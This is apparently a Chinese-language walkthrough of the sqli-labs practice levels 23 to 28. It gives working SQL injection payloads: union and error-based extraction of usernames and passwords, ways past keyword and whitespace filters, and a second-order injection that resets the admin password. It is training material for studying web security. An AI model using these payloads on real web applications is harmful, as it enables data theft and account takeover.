Less-23
?id=1 正常显示 ?id=1'报错 ?id=1'--+ 报错信息显示未闭合
这时候去查看源码 如下:
发现过滤了#和--,替换成'',所以我们只能用and或or语句进行闭合,所以这道题有以下几种方法
第一种方法:用;%00来代替--+注释 (不再一一列出)
第二种方法:使用and'1'='1或or'1'='1闭合后面的单引号,payload:
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'='
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'='
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' ='
第三种方法:基于第二种的报错注入,payload:
?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) or '1'='1(还是依次遍历查出每一个)
第四种方法:简单闭合绕过过滤,payload:
?id=' union select 1,2,database() '
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),'3
另外查询字段时有这样一个问题
?id=1' order by 10 报错,因为没闭合
?id=1' order by 10 and '1'='1 返回正确,但是将10改为任何数都正常,无法查询列数,明显有错
所以我们到mysql命令行中依次进行以下操作:
select * from users; 返回正常
select * from users where id=1;返回正常
select * from users where id=1 and 1=1; 返回正常
select * from users where id=1 or 1=1; 此时返回所有数据,相当于where true,id值为任意值也是一样
select * from users where id=1 order by 3; 返回正常
select * from users where id=1 order by 3 and 1=1; 返回正常
select * from users where id=1 order by 1111 and 1=1;
select * from users where id=1 order by 1111 or 1=1;这两条返回正常
因为:order by在where的条件中,在where执行时被忽略了,并未被执行决定于MySQL的解析顺序
select * from users where id=1 and 1=1 order by 3;
select * from users where id=1 and 1=1 order by 3333;返回不存在此列,也可理解为返回正常
综上:在SQL语句中我们可以order by种语法来查询字段 select * from users where id=1 and 1=1 order by (数值)
但本题中?id=1' or '1'='1 order by 10对应的SQL语句我们知道不可能有报错的情况,所以应使用union select进行
二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入
就是防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入
可以概括为两步:第一步:插入恶意数据和第二步:引用恶意数据
Less-24
打开页面可以看到一个登陆界面,尝试用admin'#进行注入,失败.所以无法进行SQL注入
继续研究, 发现Forgot your password?功能不能使用,而New User click here?可以进行用户注册所以我们试着在此注册页面进行二次注入
首先,我们注册一个账号,用户名为:admin'# ,密码为:111
注册成功,回到主页面登录返回是修改密码的,当我们重新修改admin'#的密码的时候,这里修改为:123456,显示Password successfully updated(密码修改成功)
再去数据库看看就发现了二次注入的威力:admin的密码由admin变成了123456,而admin'#用户的密码并没有发生变化
原因是:虽然这个 admin' #,在创建的时候,并没有对数据库造成什么影响,但是从数据库中拿出来,去进行sql拼接的时候,就发生了影响,这个#就注释掉了后面的内容,改变的是username为admin用户的密码
尝试分析源码,出现问题的页面很显然是注册页面,与密码修改重置的页面。
注册用户时:
仅对特殊字符进行了转义,判断输入两次密码是否一致,然后将用户键入,将数据插入至数据库。
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")"这里直接插入了数据
修改密码时:
$username= $_SESSION["username"];直接取出了数据库的数据
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "对该用户的密码进行更新
$sql = "UPDATE users SET PASSWORD='12345678' where username='admin‘#
Less-25
按照老套路 发现执行到order by语句和union select 1,2,group_concat(schema_name) from information_schema.schemata--+时报错
查看源码
正常是双写oorr、aandnd绕过或&& %26%26替代and,||替代or;但or and闭合"'"时用--+或Less-23关的代替
联合查询,payload:
?id=1' oorr '1'='1/?id=1' || '1'='1
?id=1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security' --+
报错注入,payload:
?id=1' || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1)),1)--+
?id=1' || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1)),1)|| '1'='1
Less-25a
和25关一样过滤and、or(盲注怎么判断过滤了and跟or呢,直接在前面添加or或and)此处我们依旧用|| &&来代替and,or
不同于25关的是sql语句中对于id,没有' '的包含,同时没有输出错误项,报错注入不能用
此处建议采取两种方式:延时注入和联合注入
Less-26
?id=1 正常
?id=1' 报错,可能有注入漏洞
问题很多,这时候去看一下源码
第一种:不考虑空格时用报错注入
?id=1' ||updatexml(1,concat(0x7e,(database())),1) || '1'='1
?id=1' || updatexml(1,concat(0x7e,(select(group_concat(concat_ws(0x7e,username,passwoorrd)))from(security.users) where (id=1))),1)||'1'='1 通过改id的值遍历来爆信息
考虑空格:用以下几种url编码代替空格即可
%09 Tab键(水平)
%0a 新建一行
%0c 新的一页
%0d return 键
%0b Tab键(垂直)
%a0 空格
payload:?id='%0bunion%0bselect%0b1,group_concat(username,':',passwoorrd),3%0bfrom%0busers%0bwhere%0bid='1
Less-26a
?id=1 ?id=1' ?id=1' --+ ?id=1' ;%00
?id=1' or '1'='1 ?id=1' || '1'='1 到这发现不了根本漏洞
查看源码 发现无法用报错注入
然后和Less-26一样过滤了很所东西,只是多了一个闭合括号
所以接着上面的写两个参照即可
?id=1') || ('1')=('1
?id=1')%a0||%a0('1')=('1
Less-27
因为前几关 猜想这关也差不多该绕过的绕过,执行到
/?id=1'%0Aunion%0Aselect%0A1,database(),3||'1'='1
试试双写绕过还是不行,这是什么操作?还是看一下源码吧
简单补充PHP正则中的i,m,s,x,e
所以这段源码中的信息有:
这里正则表达式是只要你含有 就会一直匹配 双写不能绕过
正则过滤了-号,所以随便用一个错误的id值把显示的位置让出来即可
/s 使圆点元字符(.)匹配换行符, 上面这里没有点就不用管了,那么上面直接大小写绕过就可以了 , payload:
?id='%0AUNion%0ASElEct%0A1,(SELEct%0Atable_name%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0Alimit%0A0,1),3||'1'='1
Less-27a
闭合不一样,双引号型
?id="%0buniunionon%0bsElect%0b1,2,3||"1
Less-28
改变闭合方式
时间延迟性也可